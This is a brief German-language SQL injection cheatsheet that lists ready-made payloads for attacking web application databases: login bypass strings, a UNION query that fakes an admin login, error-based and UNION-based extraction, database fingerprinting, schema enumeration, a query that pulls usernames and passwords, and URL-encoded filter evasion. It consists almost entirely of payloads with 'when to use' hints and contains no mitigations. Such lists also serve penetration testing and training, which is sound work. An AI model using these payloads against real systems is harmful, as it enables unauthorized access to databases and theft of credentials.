SQL Injection Cheatsheet
Ziel: SQL Injection nutzt unsichere Datenbankabfragen aus, um unautorisierte Informationen zu lesen, Daten zu manipulieren oder vollständigen Zugriff auf die Datenbank zu erhalten.
Einfache Payloads
Diese Payloads prüfen, ob eine Eingabe in der SQL-Abfrage ungefiltert genutzt wird. Wann nutzen? Wenn Formulareingaben oder URL-Parameter direkt in SQL eingebaut werden.
Authentication Bypass
' OR '1'='1
' OR 1=1 --
Dynamischer Benutzer-Bypass
' UNION SELECT 1, 'admin', 'password' --
Erklärung:
Erstellt eine neue gefälschte Benutzerantwort (z. B. admin
), die als gültige Anmeldung akzeptiert wird.
Union-Based Injection: Fügt zusätzliche Datenbankabfragen hinzu.
' UNION SELECT NULL, NULL, NULL --
Error-Based Injection: Löst Fehler aus, um Datenbankinformationen zu extrahieren.
' AND 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) --
Fingerprinting der Datenbank
Wann nutzen? Wenn du herausfinden möchtest, welche Art von Datenbank (MySQL, PostgreSQL, MSSQL) hinter der Anwendung steht.
Datenbankversion
SELECT @@version; -- MySQL
SELECT version(); -- PostgreSQL
Benutzer und Rollen
SELECT user();
Datenextraktion
Wann nutzen? Um die Struktur der Datenbank zu verstehen und sensible Daten zu extrahieren.
Tabellen anzeigen
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
Spalten anzeigen
SELECT column_name FROM information_schema.columns WHERE table_name='users';
Daten extrahieren
SELECT username, password FROM users;
Filterumgehung
Kommentare: Beenden SQL-Abfragen, um sie zu manipulieren.
--
#
Encoding: Umgehen Filter durch URL-Encoding.
%27%20OR%201%3D1--
Last updated